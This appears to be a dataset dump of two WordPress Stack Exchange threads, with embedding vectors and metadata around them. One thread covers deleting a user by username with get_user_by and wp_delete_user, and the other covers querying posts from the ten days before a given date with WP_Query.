0.00908660888671875, 0.054443359375, 0.0016679763793945312, 0.007171630859375, 0.0753173828125, 0.0205230712890625, 0.062744140625, 0.0255584716796875, 0.0225830078125, 0.033355712890625, 0.002948760986328125, -0.0123138427734375, -0.02801513671875, 0.041900634765625, 0.01387786865234375, 0.010589599609375, 0.04425048828125, -0.01079559326171875, 0.04095458984375, -0.0257568359375, 0.05780029296875, 0.01076507568359375, 0.023284912109375, 0.021728515625, -0.02703857421875, 0.04876708984375, -0.01479339599609375, 0.007541656494140625, -0.02410888671875, 0.03985595703125, 0.0173797607421875, -0.0194549560546875, 0.00844573974609375, -0.000013828277587890625, 0.0174713134765625, 0.00641632080078125, 0.027923583984375, -0.01512908935546875, -0.061553955078125, -0.0416259765625, 0.043975830078125, -0.026947021484375, -0.020050048828125, 0.0165252685546875, -0.0102081298828125, -0.0017986297607421875, -0.037109375, 0.0008263587951660156, -0.021453857421875, 0.02069091796875, 0.0194091796875, -0.007415771484375, 0.029815673828125, 0.03692626953125, -0.0084991455078125, 0.0193634033203125, 0.0035839080810546875, -0.0307159423828125, 0.0236968994140625, -0.02593994140625, -0.0083160400390625, 0.0231781005859375, -0.02154541015625, 0.00002092123031616211, 0.00449371337890625, -0.0104522705078125, -0.0147247314453125, 0.01085662841796875, 0.1058349609375, -0.0574951171875, -0.007801055908203125, 0.0308837890625, 0.060546875, -0.017791748046875, 0.00855255126953125, 0.0499267578125, -0.0804443359375, -0.040008544921875, 0.0225982666015625, -0.0242156982421875, -0.0124969482421875, 0.0175933837890625, -0.0657958984375, 0.064208984375, 0.005779266357421875, 0.035247802734375, 0.005096435546875, 0.00872039794921875, -0.019683837890625, -0.011260986328125, -0.03533935546875, 0.0087890625, -0.0125579833984375, 0.0301971435546875, -0.047943115234375, 0.0005617141723632812, -0.0021648406982421875, 0.025421142578125, 0.09686279296875, 0.03363037109375, -0.0279083251953125, -0.03399658203125, 0.032684326171875, 0.05462646484375, -0.01318359375, 0.029754638671875, -0.0012969970703125, -0.019500732421875, -0.0014972686767578125, 0.034698486328125, 0.04278564453125, -0.03509521484375, -0.039276123046875, 0.029937744140625, 0.028228759765625, 0.04864501953125, -0.022186279296875, 0.0413818359375, -0.027435302734375, -0.0195770263671875, 0.049072265625, -0.05511474609375, 0.0037994384765625, 0.046417236328125, 0.033935546875, -0.05084228515625, 0.0240478515625, -0.040771484375, 0.05438232421875, -0.019378662109375, 0.022064208984375, -0.0301055908203125, 0.004505157470703125, 0.01702880859375, -0.021026611328125, -0.0036029815673828125, 0.03460693359375, -0.031890869140625, 0.01447296142578125, -0.039306640625, 0.00666046142578125, -0.07550048828125, -0.0139617919921875, 0.037322998046875, 0.031829833984375, -0.01317596435546875, -0.003322601318359375, 0.01128387451171875, -0.004909515380859375, -0.006862640380859375, -0.0032978057861328125, 0.00022494792938232422, 0.0097198486328125, 0.01045989990234375, -0.034912109375, 0.0214691162109375, 0.021728515625, 0.053314208984375, -0.00316619873046875, 0.0122528076171875, -0.08270263671875, -0.0238189697265625, -0.038909912109375, 0.0088958740234375, 0.0147247314453125, 0.03466796875, 0.0155181884765625, 0.01291656494140625, 0.0194244384765625, -0.01274871826171875, -0.03497314453125, 0.0109100341796875, -0.0131988525390625, 0.04327392578125, -0.0229339599609375, 0.00592041015625, -0.00615692138671875, 0.032196044921875, 0.026214599609375, 0.0025730133056640625, 0.03668212890625, -0.00208282470703125, -0.06719970703125, -0.01064300537109375, -0.00007843971252441406, -0.0325927734375, 0.035552978515625, -0.0465087890625, 0.0433349609375, 0.03765869140625, 0.00630950927734375, -0.0096435546875, -0.0242767333984375, 0.08319091796875, -0.03857421875, 0.04400634765625, -0.02081298828125, -0.02288818359375, 0.033660888671875, -0.05450439453125, 0.078857421875, -0.0223236083984375, -0.07232666015625, -0.00749969482421875, -0.019775390625, -0.03143310546875, 0.0153656005859375, 0.0229949951171875, -0.0533447265625, 0.061920166015625, -0.008544921875, 0.006725311279296875, -0.006439208984375, -0.0252685546875, 0.0192108154296875, -0.003498077392578125, -0.00637054443359375, 0.0143585205078125, -0.09893798828125, -0.0430908203125, -0.030914306640625, 0.003574371337890625, 0.0026035308837890625, 0.0894775390625, 0.0186614990234375, 0.01312255859375, -0.00890350341796875, 0.058746337890625, -0.06201171875, -0.0211181640625, 0.0186614990234375, -0.01502227783203125, 0.002811431884765625, -0.0060577392578125, 0.0141754150390625, 0.032470703125, 0.0257720947265625, -0.034149169921875, 0.004917144775390625, 0.005115509033203125, -0.005340576171875, -0.0114593505859375, 0.01959228515625, -0.024261474609375, -0.004657745361328125, 0.02294921875, 0.00489044189453125, 0.0011014938354492188, -0.0072174072265625, 0.0159759521484375, 0.006931304931640625, 0.037567138671875, -0.00991058349609375, 0.0265045166015625, 0.0005702972412109375, 0.051300048828125, 0.03558349609375, -0.01470184326171875, -0.0274658203125, 0.0006012916564941406, -0.029510498046875, 0.00342559814453125, -0.0021533966064453125, 0.045501708984375, -0.01541900634765625, 0.01479339599609375, 0.053863525390625, 0.00830841064453125, 0.027557373046875, -0.0281219482421875, -0.0133819580078125, 0.029205322265625, 0.00803375244140625, -0.00927734375, 0.02093505859375, -0.02117919921875, -0.05535888671875, 0.0017004013061523438, 0.0236968994140625, -0.006656646728515625, 0.020538330078125, -0.0234222412109375, -0.041656494140625, 0.031494140625, 0.0037689208984375, -0.005756378173828125, -0.00974273681640625, -0.01163482666015625, -0.01120758056640625, 0.0085601806640625, -0.0117034912109375, 0.003643035888671875, 0.054962158203125, -0.011810302734375, -0.05694580078125, -0.021026611328125, 0.0357666015625, -0.031280517578125, 0.049163818359375, 0.0360107421875, -0.038604736328125, 0.03875732421875, 0.048309326171875, 0.04620361328125, 0.087646484375, 0.0044097900390625, -0.028533935546875, -0.03265380859375, 0.039825439453125, 0.0047760009765625, -0.00811767578125, 0.00965118408203125, 0.0186004638671875, -0.00508880615234375, -0.040863037109375, 0.0101318359375, 0.01149749755859375, -0.038421630859375, -0.053192138671875, 0.057373046875, -0.025665283203125, -0.022705078125, -0.019439697265625, 0.0149688720703125, -0.01323699951171875, 0.043975830078125, -0.0005054473876953125, -0.0036067962646484375, 0.00507354736328125, 0.01224517822265625, 0.005420684814453125, -0.059234619140625, 0.060272216796875, -0.017608642578125, -0.0501708984375, 0.00797271728515625, 0.029266357421875, -0.034576416015625, 0.005252838134765625, -0.029937744140625, 0.0374755859375, 0.0179901123046875, -0.034759521484375, -0.053314208984375, 0.0171966552734375, 0.018157958984375, -0.024932861328125, 0.00801849365234375, -0.051788330078125, 0.00826263427734375, 0.060211181640625, 0.1251220703125, 0.0189361572265625, -0.05377197265625, 0.04803466796875, -0.00025081634521484375, -0.100341796875, 0.007659912109375, 0.031768798828125, -0.03021240234375, 0.004791259765625, 0.007732391357421875, -0.004261016845703125, -0.0025348663330078125, 0.0188140869140625, -0.036773681640625, 0.009490966796875, 0.0261688232421875, 0.01277923583984375, -0.089599609375, 0.0052947998046875, 0.0687255859375, -0.040252685546875, 0.004146575927734375, -0.0022754669189453125, -0.00019979476928710938, 0.032135009765625, -0.0121917724609375, 0.006397247314453125, 0.0290069580078125, -0.0323486328125, 0.00687408447265625, 0.026519775390625, 0.000021755695343017578, -0.01593017578125, -0.0050048828125, -0.01105499267578125, -0.00677490234375, -0.010406494140625, -0.015625, 0.0234375, -0.00524139404296875, -0.009307861328125, 0.0312347412109375, -0.037322998046875, 0.025726318359375, -0.0146026611328125, 0.0171356201171875, -0.010406494140625, 0.01219940185546875, 0.02618408203125, -0.01543426513671875, 0.007274627685546875, -0.017547607421875, -0.0203094482421875, -0.033599853515625, 0.013214111328125, -0.00878143310546875, -0.0236968994140625, 0.0286712646484375 ]
a09de2d9d8bbf33770af9a5bf6b00bd9233c7890
Wordpress Stackexchange Q: wp_delete_user with username wp_delete_user() function requires user ID and [optional] reassign ID if the content is to be reassigned to another user. All users' user names are also unique as WP doesn't allow duplicate user names. If I know username, is there no way with just one PHP/mysqli query I can delete the user instead of run one query to find ID of that user first and then tell wordpress to delete that user ? A: There is no way to do this with only one query. But to be honest - deleting user takes more than one query itself... You shouldn’t use custom SQL for that, because there are many things you could break this way... Always use WP functions, if they exists (what if some plugin logs every deleted user, or what if some other action is needed, etc.) You can use get_user_by to achieve that. Here's the example: $user = get_user_by( 'login', 'john' ); if ( $user ) { // get_user_by can return false, if no such user exists wp_delete_user( $user->ID ); } The fields you can get user by are: ID | slug | email | login.
Q: wp_delete_user with username wp_delete_user() function requires user ID and [optional] reassign ID if the content is to be reassigned to another user. All users' user names are also unique as WP doesn't allow duplicate user names. If I know username, is there no way with just one PHP/mysqli query I can delete the user instead of run one query to find ID of that user first and then tell wordpress to delete that user ? A: There is no way to do this with only one query. But to be honest - deleting user takes more than one query itself... You shouldn’t use custom SQL for that, because there are many things you could break this way... Always use WP functions, if they exists (what if some plugin logs every deleted user, or what if some other action is needed, etc.) You can use get_user_by to achieve that. Here's the example: $user = get_user_by( 'login', 'john' ); if ( $user ) { // get_user_by can return false, if no such user exists wp_delete_user( $user->ID ); } The fields you can get user by are: ID | slug | email | login. A: It is a good practice to use WordPress function wp_delete_user() as it will delete user meta as well by running multiple queries on WordPress Database. Check WordPress codex for more info: https://developer.wordpress.org/reference/functions/wp_delete_user/ Also it's easy to get user id and then delete user by adding something like $user = get_userdatabylogin('loginname'); if($user){ //delete user if exists wp_delete_user($user->ID); } Or Else, You have to run multiple queries of generate a very complex query to properly remove user from WordPress database
wordpress
{ "language": "en", "length": 271, "provenance": "stackexchange_00019.jsonl.gz:488187", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310013" }
[ 0.034637451171875, 0.0270843505859375, -0.0428466796875, 0.00543212890625, 0.038330078125, -0.0518798828125, 0.06378173828125, -0.034088134765625, -0.01116180419921875, 0.050079345703125, -0.02252197265625, 0.0177764892578125, 0.040985107421875, -0.00833892822265625, -0.00008684396743774414, -0.006092071533203125, 0.00887298583984375, -0.01007080078125, -0.0178985595703125, -0.02899169921875, 0.004848480224609375, -0.0255126953125, 0.019744873046875, 0.0205841064453125, 0.0009388923645019531, -0.0014162063598632812, 0.060272216796875, -0.036865234375, 0.010467529296875, -0.0278167724609375, 0.00307464599609375, 0.0031452178955078125, -0.0212554931640625, 0.0416259765625, 0.001964569091796875, -0.004261016845703125, -0.00864410400390625, 0.036346435546875, 0.0516357421875, -0.015411376953125, 0.0162506103515625, 0.0178680419921875, -0.030059814453125, 0.0316162109375, -0.032684326171875, -0.0662841796875, 0.0408935546875, -0.00695037841796875, 0.02880859375, 0.006359100341796875, 0.039947509765625, 0.0017442703247070312, 0.057037353515625, -0.0235595703125, -0.020904541015625, -0.003108978271484375, 0.0013837814331054688, 0.0031833648681640625, 0.037139892578125, -0.0125274658203125, -0.0369873046875, -0.0116729736328125, 0.02593994140625, -0.018829345703125, 0.00024437904357910156, -0.0017881393432617188, -0.0015401840209960938, 0.020751953125, -0.0239410400390625, -0.025665283203125, 0.005096435546875, -0.0138702392578125, -0.01288604736328125, 0.0006093978881835938, -0.005527496337890625, -0.010955810546875, 0.0149688720703125, -0.00930023193359375, -0.005035400390625, 0.0244903564453125, -0.01464080810546875, -0.0153045654296875, -0.1090087890625, 0.037506103515625, -0.00028824806213378906, 0.069091796875, -0.0175628662109375, -0.04412841796875, -0.0256805419921875, -0.038238525390625, -0.03155517578125, -0.052459716796875, -0.021453857421875, 0.01131439208984375, -0.032928466796875, -0.004085540771484375, -0.0004992485046386719, 0.03521728515625, 0.003681182861328125, -0.005306243896484375, 0.015655517578125, -0.03387451171875, -0.0208892822265625, -0.0279388427734375, -0.0197296142578125, 0.0316162109375, 0.014739990234375, 0.020233154296875, -0.0155029296875, 0.02203369140625, -0.014373779296875, -0.04083251953125, -0.021240234375, -0.035308837890625, -0.016754150390625, 0.039031982421875, -0.042327880859375, -0.0033168792724609375, -0.006099700927734375, -0.0009284019470214844, -0.0216522216796875, 0.00787353515625, -0.037750244140625, 0.0017681121826171875, 0.00868988037109375, -0.0107879638671875, 0.0007381439208984375, 0.0197601318359375, -0.0065155029296875, -0.01006317138671875, -0.03277587890625, 0.0460205078125, 0.0791015625, 0.016204833984375, 0.005451202392578125, -0.00292205810546875, -0.0017385482788085938, 0.0131072998046875, 0.0033512115478515625, 0.0017518997192382812, 0.019012451171875, -0.0174102783203125, -0.00040268898010253906, -0.00360870361328125, 0.0241546630859375, 0.03009033203125, 0.01369476318359375, -0.007358551025390625, 0.004398345947265625, -0.0194854736328125, -0.0268707275390625, 0.0196990966796875, -0.0146942138671875, 0.027740478515625, 0.052215576171875, 0.0010738372802734375, 0.053741455078125, -0.028350830078125, 0.01425933837890625, -0.00856781005859375, 0.0281524658203125, -0.006500244140625, 0.0019683837890625, -0.0083160400390625, -0.045074462890625, 0.0008225440979003906, -0.055572509765625, -0.017242431640625, 0.02655029296875, 0.007144927978515625, 0.025177001953125, -0.00785064697265625, 0.051177978515625, 0.03082275390625, 0.01302337646484375, 0.00933837890625, 0.00829315185546875, 0.042083740234375, -0.004108428955078125, 0.0192718505859375, 0.0024261474609375, -0.03924560546875, 0.03485107421875, -0.004680633544921875, -0.05322265625, 0.0195770263671875, 0.02569580078125, 0.08148193359375, 0.018341064453125, 0.022674560546875, 0.046905517578125, 0.00948333740234375, -0.00946044921875, 0.0121612548828125, 0.007015228271484375, -0.0736083984375, 0.020477294921875, -0.04266357421875, 0.00022292137145996094, 0.0262603759765625, 0.08685302734375, -0.007541656494140625, 0.0255889892578125, -0.056884765625, -0.10699462890625, 0.025726318359375, -0.03485107421875, 0.046722412109375, -0.0211334228515625, 0.0244140625, 0.0291595458984375, 0.02398681640625, -0.05291748046875, 0.0030364990234375, -0.015380859375, -0.01155853271484375, -0.0224151611328125, 0.0157470703125, -0.01486968994140625, 0.040130615234375, -0.015838623046875, -0.0268402099609375, -0.01393890380859375, -0.0213623046875, 0.01320648193359375, -0.01474761962890625, -0.0025081634521484375, -0.0185699462890625, 0.0233612060546875, -0.01163482666015625, 0.012298583984375, 0.036285400390625, 0.0157928466796875, 0.0352783203125, -0.005298614501953125, 0.0159149169921875, 0.0283660888671875, -0.032257080078125, 0.006069183349609375, 0.01200103759765625, 0.022491455078125, -0.0002567768096923828, -0.0095977783203125, 0.0084228515625, 0.0182647705078125, -0.025482177734375, 0.007366180419921875, 0.01183319091796875, 0.0217437744140625, 0.0631103515625, -0.00560760498046875, -0.0170135498046875, 0.013946533203125, -0.0601806640625, -0.00392913818359375, 0.031158447265625, -0.002285003662109375, 0.0161590576171875, -0.01108551025390625, 0.0207977294921875, -0.0272216796875, -0.03265380859375, 0.01861572265625, -0.0408935546875, 0.0200958251953125, -0.04766845703125, -0.02545166015625, -0.03814697265625, -0.01509857177734375, -0.0023517608642578125, 0.03216552734375, -0.07562255859375, 0.0021820068359375, 0.01275634765625, 0.004734039306640625, 0.01544952392578125, -0.00818634033203125, -0.01018524169921875, 0.01430511474609375, -0.00241851806640625, 0.01081085205078125, 0.004116058349609375, 0.053314208984375, 0.005405426025390625, 0.0164947509765625, -0.0215606689453125, 0.0513916015625, 0.030792236328125, 0.0003592967987060547, -0.0069427490234375, 0.0235748291015625, 0.0462646484375, -0.0230865478515625, 0.052093505859375, -0.016632080078125, 0.0013103485107421875, 0.0302581787109375, -0.0162811279296875, 0.006977081298828125, -0.0184783935546875, 0.019378662109375, 0.0509033203125, 0.0186767578125, -0.04205322265625, 0.01076507568359375, -0.01531219482421875, 0.01291656494140625, -0.0177154541015625, -0.00634765625, 0.0036220550537109375, -0.0245208740234375, 0.052978515625, 0.02685546875, 0.0634765625, -0.005489349365234375, -0.030792236328125, -0.00611114501953125, 0.0379638671875, -0.06353759765625, -0.060791015625, -0.0267791748046875, -0.055267333984375, 0.03399658203125, -0.012603759765625, -0.00543212890625, 0.0018939971923828125, 0.0025386810302734375, 0.01873779296875, -0.004604339599609375, -0.008636474609375, -0.0216217041015625, -0.02655029296875, -0.059661865234375, -0.00980377197265625, -0.0004494190216064453, 0.0262451171875, 0.007266998291015625, 0.036834716796875, -0.007434844970703125, -0.05474853515625, -0.013885498046875, 0.05712890625, -0.018280029296875, -0.0185089111328125, 0.0099639892578125, 0.00498199462890625, 0.00018727779388427734, 0.0196533203125, -0.0020160675048828125, 0.01276397705078125, -0.0196533203125, -0.034515380859375, 0.0198974609375, -0.01024627685546875, 0.042266845703125, 0.0017938613891601562, -0.0411376953125, 0.0180511474609375, 0.04339599609375, -0.0411376953125, 0.0092926025390625, -0.00954437255859375, -0.007415771484375, 0.0283660888671875, -0.003204345703125, -0.0121612548828125, 0.01062774658203125, -0.000904083251953125, 0.0269317626953125, 0.0435791015625, -0.04937744140625, 0.036712646484375, 0.011505126953125, 0.0037288665771484375, 0.0281524658203125, 0.019683837890625, 0.0175628662109375, -0.033538818359375, -0.0289154052734375, -0.0191650390625, -0.0225372314453125, -0.02960205078125, -0.0086517333984375, -0.024200439453125, -0.04229736328125, 0.06524658203125, 0.0167694091796875, 0.009674072265625, -0.0274505615234375, -0.043304443359375, -0.009796142578125, 0.09039306640625, 0.0201416015625, -0.01369476318359375, -0.01174163818359375, -0.00116729736328125, -0.052459716796875, -0.0033702850341796875, -0.042877197265625, 0.00222015380859375, -0.0498046875, -0.0169830322265625, -0.0013437271118164062, -0.033050537109375, -0.017669677734375, 0.0168609619140625, -0.034454345703125, -0.0231781005859375, 0.0159759521484375, -0.044769287109375, 0.048736572265625, -0.005374908447265625, 0.00972747802734375, -0.01314544677734375, 0.004878997802734375, -0.046966552734375, -0.007259368896484375, -0.00029158592224121094, -0.01554107666015625, 0.03082275390625, 0.02532958984375, -0.0020542144775390625, -0.00833892822265625, 0.0251007080078125, 0.003612518310546875, 0.034942626953125, 0.00994110107421875, 0.0007600784301757812, -0.00591278076171875, -0.01119232177734375, 0.01549530029296875, -0.022552490234375, -0.0018835067749023438, -0.0506591796875, -0.01027679443359375, -0.032958984375, -0.05877685546875, 0.032867431640625, -0.0526123046875, -0.0019855499267578125, -0.029022216796875, 0.007251739501953125, -0.010498046875, 0.031005859375, -0.0107421875, 0.004467010498046875, -0.02197265625, -0.051605224609375, 0.05706787109375, 0.0172576904296875, 0.024017333984375, -0.006336212158203125, 0.0921630859375, 0.001308441162109375, -0.03125, -0.043426513671875, 0.0016374588012695312, 0.033203125, 0.0025501251220703125, 0.062042236328125, 0.0421142578125, -0.00341796875, 0.04083251953125, 0.02130126953125, 0.0225067138671875, -0.039764404296875, 0.049346923828125, -0.03448486328125, -0.045562744140625, 0.05816650390625, -0.04046630859375, 0.0171966552734375, 0.0197296142578125, 0.0149383544921875, -0.0263671875, 0.0330810546875, 0.01129150390625, -0.0050506591796875, 0.0017766952514648438, -0.01317596435546875, -0.06585693359375, 0.0294342041015625, -0.088134765625, 0.00795745849609375, -0.00797271728515625, -0.0019521713256835938, 0.01227569580078125, 0.003696441650390625, -0.0147552490234375, -0.04022216796875, -0.02728271484375, 0.002140045166015625, 0.0179443359375, -0.04547119140625, 0.007190704345703125, -0.032379150390625, -0.0269622802734375, 0.133544921875, 0.006763458251953125, -0.047271728515625, 0.019256591796875, -0.040924072265625, 0.01355743408203125, 0.01255035400390625, 0.00339508056640625, 0.0227813720703125, 0.03680419921875, -0.0030002593994140625, -0.01287078857421875, -0.0087127685546875, 0.0271759033203125, -0.0305023193359375, 0.0225372314453125, -0.005413055419921875, -0.004638671875, 0.0282745361328125, 0.057647705078125, -0.02581787109375, 0.042938232421875, -0.01389312744140625, 0.04669189453125, 0.04351806640625, 0.0123138427734375, 0.0228118896484375, 0.0013074874877929688, -0.0126495361328125, -0.016387939453125, -0.0124053955078125, -0.0310516357421875, -0.00514984130859375, 0.045806884765625, 0.0312347412109375, 0.02862548828125, -0.0029201507568359375, -0.020782470703125, 0.0009479522705078125, 0.002079010009765625, 0.01690673828125, -0.00446319580078125, -0.039459228515625, -0.008056640625, -0.0198822021484375, -0.0038509368896484375, -0.032928466796875, 0.006534576416015625, -0.005153656005859375, -0.03668212890625, -0.0210113525390625, 0.038787841796875, -0.0109405517578125, -0.03851318359375, -0.034423828125, 0.0200042724609375, -0.023773193359375, -0.007289886474609375, 0.01123046875, 0.046539306640625, -0.0333251953125, -0.047637939453125, 0.06353759765625, 0.006290435791015625, 0.0175933837890625, -0.036407470703125, 0.0019063949584960938, -0.0279693603515625, -0.0220489501953125, 0.07867431640625, 0.034820556640625, -0.012939453125, 0.003200531005859375, -0.01537322998046875, -0.0140228271484375, 0.0310211181640625, -0.0189208984375, -0.025360107421875, -0.02032470703125, -0.00887298583984375, 0.0103759765625, -0.005100250244140625, 0.01496124267578125, -0.01129150390625, 0.0247955322265625, -0.009765625, -0.004367828369140625, -0.01849365234375, 0.042449951171875, 0.00841522216796875, -0.01186370849609375, 0.0228729248046875, 0.047393798828125, 0.0172271728515625, -0.0270233154296875, 0.038299560546875, 0.002994537353515625, -0.038116455078125, -0.07440185546875, 0.023193359375, -0.039154052734375, 0.024993896484375, -0.023773193359375, -0.0067596435546875, -0.007457733154296875, -0.0081939697265625, -0.0286407470703125, 0.0295867919921875, 0.01461029052734375, -0.0026226043701171875, -0.0193634033203125, -0.02325439453125, 0.01123046875, -0.0030727386474609375, 0.0283355712890625, -0.01678466796875, -0.0254058837890625, -0.0017223358154296875, 0.0270538330078125, 0.0003650188446044922, 0.0142974853515625, 0.012115478515625, -0.01128387451171875, 0.01238250732421875, 0.016510009765625, 0.0182037353515625, 0.01415252685546875, 0.0032196044921875, -0.0168914794921875, -0.01129913330078125, 0.040985107421875, 0.00550079345703125, -0.00997161865234375, 0.0276641845703125, -0.0281219482421875, 0.014678955078125, 0.06427001953125, 0.0684814453125, -0.0914306640625, 0.0192413330078125, -0.005084991455078125, -0.00978851318359375, 0.05218505859375, -0.0113525390625, -0.00896453857421875, -0.0026721954345703125, 0.050537109375, -0.0219879150390625, -0.013427734375, 0.02398681640625, -0.000009715557098388672, 0.0098419189453125, -0.0077362060546875, 0.020233154296875, -0.0018758773803710938, 0.020263671875, -0.00418853759765625, -0.0157623291015625, 0.04388427734375, -0.034149169921875, 0.01373291015625, 0.0179901123046875, -0.00563812255859375, -0.074951171875, 0.0214385986328125, -0.01253509521484375, -0.004924774169921875, 0.0283355712890625, -0.00951385498046875, 0.0268707275390625, 0.044158935546875, -0.0011301040649414062, -0.017852783203125, 0.01910400390625, -0.0401611328125, -0.0223541259765625, -0.02581787109375, 0.0191802978515625, 0.007293701171875, -0.06378173828125, 0.0333251953125, -0.03643798828125, -0.021514892578125, -0.0303192138671875, -0.0299835205078125, 0.09454345703125, -0.03558349609375, -0.0069580078125, 0.0265655517578125, 0.054443359375, -0.0244293212890625, -0.0019054412841796875, -0.01432037353515625, -0.049224853515625, -0.047576904296875, -0.009796142578125, -0.060546875, 0.0250701904296875, -0.0185089111328125, -0.08599853515625, 0.0777587890625, 0.02740478515625, 0.03997802734375, -0.0208740234375, 0.01953125, -0.0047760009765625, 0.0098876953125, -0.050994873046875, 0.0721435546875, 0.0294036865234375, 0.0654296875, -0.0298309326171875, 0.0011129379272460938, 0.0284423828125, 0.0162811279296875, 0.08673095703125, 0.02557373046875, -0.004955291748046875, -0.037811279296875, 0.0161895751953125, 0.0302886962890625, -0.0256805419921875, 0.03375244140625, 0.01549530029296875, 0.038421630859375, 0.0748291015625, -0.022430419921875, 0.038330078125, 0.0004119873046875, -0.0020351409912109375, 0.0255126953125, 0.00782012939453125, -0.0041351318359375, -0.00934600830078125, 0.02783203125, -0.04437255859375, -0.008087158203125, 0.029937744140625, -0.01175689697265625, 0.036956787109375, 0.03582763671875, 0.062286376953125, -0.043365478515625, -0.003604888916015625, -0.0302581787109375, 0.06170654296875, 0.00995635986328125, 0.0121917724609375, 0.07000732421875, 0.028564453125, -0.00568389892578125, -0.0292205810546875, 0.0175933837890625, -0.0210418701171875, -0.0122833251953125, 0.07470703125, 0.0438232421875, 0.037567138671875, -0.030914306640625, -0.01739501953125, 0.03704833984375, 0.09283447265625, -0.046966552734375, -0.045806884765625, 0.007129669189453125, 0.0175628662109375, 0.0465087890625, 0.028961181640625, 0.0601806640625, -0.01922607421875, 0.01605224609375, -0.062225341796875, 0.04180908203125, 0.032501220703125, -0.002750396728515625, -0.01190185546875, 0.01120758056640625, -0.036651611328125, 0.05419921875, -0.0242767333984375, 0.0171356201171875, 0.0250701904296875, -0.0162353515625, -0.01561737060546875, 0.0322265625, 0.0675048828125, 0.0200347900390625, 0.018707275390625, 0.0128021240234375, -0.004398345947265625, -0.024749755859375, -0.00988006591796875, -0.05767822265625, 0.0018672943115234375, 0.02484130859375, 0.01666259765625, -0.031341552734375, 0.030029296875, 0.016754150390625, -0.052032470703125, -0.032623291015625, -0.033447265625, -0.0268096923828125, 0.012847900390625, 0.006134033203125, -0.032867431640625, -0.0253448486328125, -0.0367431640625, -0.048187255859375, 0.0172882080078125, -0.005523681640625, -0.0215606689453125, 0.0273895263671875, -0.004528045654296875, -0.00463104248046875, 0.062164306640625, -0.0220794677734375, 0.0060577392578125, -0.01424407958984375, -0.072021484375, -0.0035724639892578125, -0.00855255126953125, -0.01009368896484375, -0.0156402587890625, 0.0207061767578125, -0.0009407997131347656, 0.0126800537109375, 0.020111083984375, -0.0450439453125, 0.03814697265625, 0.0174713134765625, 0.0037174224853515625, 0.011322021484375, 0.00978851318359375, -0.0110321044921875, -0.0279693603515625, -0.01039886474609375, 0.0260009765625, 0.01169586181640625, -0.0165863037109375, 0.01338958740234375, 0.00925445556640625, -0.0011148452758789062, -0.042572021484375, 0.03240966796875, -0.036102294921875, -0.052398681640625, 0.07586669921875, -0.0013093948364257812, -0.035552978515625, 0.0006527900695800781, -0.052032470703125, 0.047607421875, -0.011993408203125, 0.010009765625, 0.04241943359375, -0.040130615234375, 0.00928497314453125, 0.0218353271484375, 0.0111541748046875, -0.0179290771484375, -0.0394287109375, -0.02081298828125, 0.01224517822265625, 0.02874755859375, 0.04608154296875, -0.019500732421875, 0.0258636474609375, 0.0183868408203125, -0.031829833984375, 0.022430419921875, -0.027679443359375, 0.00823211669921875, 0.01476287841796875, 0.045806884765625, -0.01230621337890625, -0.039306640625, -0.0214691162109375, -0.0184326171875, -0.0008211135864257812, -0.008880615234375, -0.01078033447265625, 0.023040771484375, 0.01209259033203125, -0.0125885009765625, 0.037261962890625, 0.01206207275390625, 0.0017786026000976562, -0.03314208984375, 0.0147705078125, 0.0020465850830078125, -0.05401611328125, -0.0231475830078125, -0.014312744140625, -0.03302001953125, 0.0156707763671875, -0.0191802978515625, -0.07232666015625, -0.07635498046875, 0.01174163818359375, 0.0115203857421875, 0.01076507568359375, -0.07257080078125, 0.059173583984375, -0.011627197265625, 0.005947113037109375, -0.025482177734375, -0.022064208984375, 0.004180908203125, 0.00853729248046875, -0.045135498046875, -0.0216522216796875, -0.027923583984375, 0.0021991729736328125, -0.0230560302734375, 0.0006341934204101562, 0.004390716552734375, 0.015411376953125, -0.0182952880859375, 0.0208587646484375, -0.0207672119140625, 0.05499267578125, -0.031646728515625, -0.0276031494140625, 0.0038890838623046875, -0.01305389404296875, 0.0225830078125, -0.050323486328125, -0.0165557861328125, -0.03521728515625, 0.00087738037109375, -0.0019083023071289062, 0.022064208984375, 0.046356201171875, -0.0240325927734375, -0.06695556640625, 0.057586669921875, -0.0125885009765625, -0.03778076171875, 0.0062713623046875, 0.004856109619140625, 0.0029430389404296875, -0.03948974609375, -0.006092071533203125, -0.0138397216796875, -0.0303497314453125, -0.0005841255187988281, 0.003871917724609375, 0.0010366439819335938, 0.0258331298828125, 0.0275115966796875, -0.0270843505859375, 0.0170440673828125, -0.019134521484375, -0.0182342529296875, 0.0129547119140625, -0.004974365234375, 0.053985595703125, 0.07879638671875, 0.0006041526794433594, 0.0672607421875, 0.01371002197265625, -0.03997802734375, -0.040618896484375, -0.01004791259765625, -0.00850677490234375, 0.0010576248168945312, 0.09234619140625, 0.0733642578125, 0.0252532958984375, -0.04156494140625, -0.05255126953125, -0.0509033203125, 0.0028057098388671875, -0.02593994140625, 0.0235748291015625, -0.0826416015625, -0.004833221435546875, 0.00502777099609375, -0.0501708984375, 0.01093292236328125, -0.01042938232421875, -0.0736083984375, 0.034759521484375, -0.0206298828125, -0.00948333740234375, -0.02642822265625, 0.004974365234375, 0.03973388671875, -0.0345458984375, -0.01629638671875, -0.0233001708984375, 0.008087158203125, -0.0177154541015625, -0.05218505859375, -0.0036602020263671875, -0.0090179443359375, -0.03192138671875, 0.0278778076171875, -0.01465606689453125, 0.035400390625, -0.04266357421875, -0.0140228271484375, -0.0210113525390625, 0.02374267578125, -0.00019502639770507812, 0.042449951171875, 0.002185821533203125, 0.035308837890625, 0.0357666015625, -0.0012636184692382812, -0.0085906982421875, 0.0219268798828125, -0.0162811279296875, 0.0433349609375, 0.01202392578125, -0.0094146728515625, 0.057647705078125, -0.030242919921875, -0.033355712890625, 0.02044677734375, -0.017120361328125, -0.10369873046875, 0.05889892578125, 0.08709716796875, 0.05316162109375, 0.04351806640625 ]
01458ef6051f534311f5ccbf92ad2556c1ad9c16
Wordpress Stackexchange Q: How to get previous 10 days post from a specific date - WP Query I want to know how to get previous 10 days post from a specific date, as I know that it can be done from current date as below $args = array( 'post_type' => 'post', 'date_query' => array( 'after' => '- 10 days' ) ); $query = new WP_Query( $args ); But I want posts previous 10 days post from a specific date. Is it possible ? A: Yes, it is possible. You can pass full date as before and after params, so: $given_date_as_time = strtotime('2017-11-22 00:00:00'); $args = array( 'post_type' => 'post', 'date_query' => array( 'before' => date( 'c', $given_date_as_time ), 'after' => date('c', strtotime( '- 10 days', $given_date_as_time ) ), ), ); $query = new WP_Query( $args ); above query is also correct and will give you result you wanted.
